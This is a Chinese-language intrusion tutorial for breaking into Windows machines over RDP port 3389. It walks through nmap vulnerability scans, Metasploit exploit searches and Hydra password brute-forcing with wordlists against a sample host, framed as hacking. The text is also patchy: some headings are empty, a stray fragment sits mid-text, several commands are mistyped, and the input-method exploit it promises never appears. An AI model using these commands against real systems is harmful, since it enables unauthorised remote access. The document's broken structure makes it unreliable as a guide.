第一节3389端口入侵注： 本教程出自X网络科技，作者：skilfulwriter 团队qq群：603791426
前言：漏洞利用（英语：Exploit，本意为“利用”）是计算机安全术语，指的是利用程序中的某些漏洞，来得到计算机的控制权（使自己编写的代码越过具有漏洞的程序的限制，从而获得运行 权限 ）。 在英语中，本词也是名词，表示为了利用漏洞而编写的攻击程序，即漏洞利用程序。 漏洞 是在硬件、软件、协议的具体实现或操作系统安全策略上存在的缺陷，从而使攻击者能够在未经授权的情况下访问或者破外系统 [1] 。 漏洞利用是获得 系统控制 权限的重要途径。 用户从目标系统中找到容易攻击的漏洞，然后利用该漏洞获取权限，从而实现对目标系统的控制。 为了达到发现网络的漏洞，实现获取密码挡、添加用户、控制网站的目标，攻击者进行exploit。每个操作系统都会存在各种bug，像windows这样版权操作系统微软公司会很快的开发针对这些bug或漏洞的补丁，并为用户提供更新。没有公布补丁的bug，就是所谓的0day漏洞，由于这种漏洞对网络安全具有巨大威胁，因此0day漏洞也称为黑客的最爱，实际上能够掌握0day漏洞的黑客少之又少。

　　 3389端口是Windows 远程桌面的服务端口。通过3389端口入侵系统是黑客的最爱，因为通过图形界面，可以像操作本地计算机一样来控制远程计算机。但是如何绕过系统身份验证，进入远程系统却成为了一个关键问题。本文将要提到的方法是利用经典的输入法漏洞，该漏洞存在于Microsoft Windows 2000所有中文版本，可以通过微软提供的补丁程序进行漏洞修复。
GG好象不舍得　　编注：虽然此漏洞不算什么新鲜事，但是正如经典的商业案例会被载入MBA教程一样，不会被时代所遗忘。而且现在仍然有一些网管因为疏忽或对它重视不够，犯此严重错误。作为初学者，你必须认识并完全掌握它。只有对基础知识有了全面的了解，你才有进阶的资本。
通过使用Kali nethunter 手机扫描工具Nmap和漏洞利用工具Msf来发现目标主机的系统漏洞和软件服务漏洞。因为很多教程只说了用什么漏洞去攻击，但是前提是该主机存在漏洞或者是该漏洞未被安装补丁一.工具介绍

通过Nmap专项扫描目标主机存在系统漏洞（只能系统漏洞利用）

nmap –script vuln -T4 192.168.123.213

显示host script results就是该主机存在的漏洞
使用nmap深度扫描目标系统的软件漏洞（只能用于软件漏洞的利用）：
nmap -T4 -A -v IP (深度扫描指定IP主机的全部信息)
因为我要扫描的主机是 192.168.123.213
所以代码是nmap -T4 -A -v 192.168.123.213
不过一会系统的所有信息就出来了， PROT 端口信息部分就行了它能显示什么端口开着什么服务
通过msf数据库查找此系统漏洞：
search 该主机漏洞名称
因为我主机存在很多漏洞我就随便挑一个ms10-054漏洞
search ms10-054 回车
就出现了所有MSF数据库中的关于ms10-054的漏洞

那么在举个列子：举我要用如上图中135端口开启的msrpc(原名：Microsoft Windows RPC）服务去实现软件服务漏洞利用
我就得打开msf
去输入search msrpc （关于Microsoft Windows RPC的软件服务漏洞）
然后会出现的关于msrpc(Microsoft Windows RPC)的软件漏洞

怎样在我的网络上找到活动主机

在我的网络中找到并 ping 所有活动主机

找到主机上的开放端口

那么我们接下来要暴力破解3389号端口的前提是对方的3389号端口是开放的，不过大多数情况下电脑是默认关闭的，即使有远程协助的需要也不一定非得要用到3389号端口，开启不仅容易被对方破解，还容易成为肉鸡如果你发现你的端口是开放的，那么我建议你还是关上吧。

Linux下暴力破解工具Hydra详解

• 简介

• 安装

Apt-get install hydra
打开Hydra（海德拉）工具进行爆破，顺带一提字典的制作可以用工具也可以自己手动输入常见弱口令
命令为：hydra IP地址 rdp -L 用户字典 -P 密码字典 -V rdp 即RDP协议
-L是账号字典
-P是指定密码字典
-V是用来显示爆破的详细过程
字典一般要把路径加上不过要是能在相对路径下补全出来就不用
下面是爆破过程，因实验原因只跑了弱口令密码进行破解
此工具强大之处远多于以上测试，其密码能否破解关键在于强大的字典，对于社工型渗透来说，有时能够得到事半功倍的效果。
Kali 系统自带字典目录wordlists
/usr/share/wordlists
root@kali:/usr/share/wordlists# ls
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt.gz wfuzz
首先切换到字典目录，当然你也可以不用切换，不过要在命令加上字典路径
命令：hydra -L 3389.txt -P pass.txt 192.168.123.213 rdp

命令：hydra -L 3389.txt -P pass.txt 192.168.123.213 rdp -V，这个是-V是用来显示爆破的详细过程

破解完会有提示爆破成功的会以天蓝色显示出来。如果用kali登录3389来验证，需要先安装redesktop那么使用命令为：resktop -f -a 16 IP地址：3389，那么在我们的kali nethunter手机中我们可以用第三方软件来登录验证：parallels client下载地址：自行谷歌应用商店或者百度
Parallels® Client 是一款轻量级软件，允许最终用户安全地从 Windows、Mac、Linux、iOS/iPadOS、Android、Google Chromebook 和任何 HTML5 Web 浏览器访问虚拟应用程序和桌面。

好了，本期就到这儿了，作者智商有限，文中不免纰漏和不妥之处。有任何建议或意见大家多多发评论给我。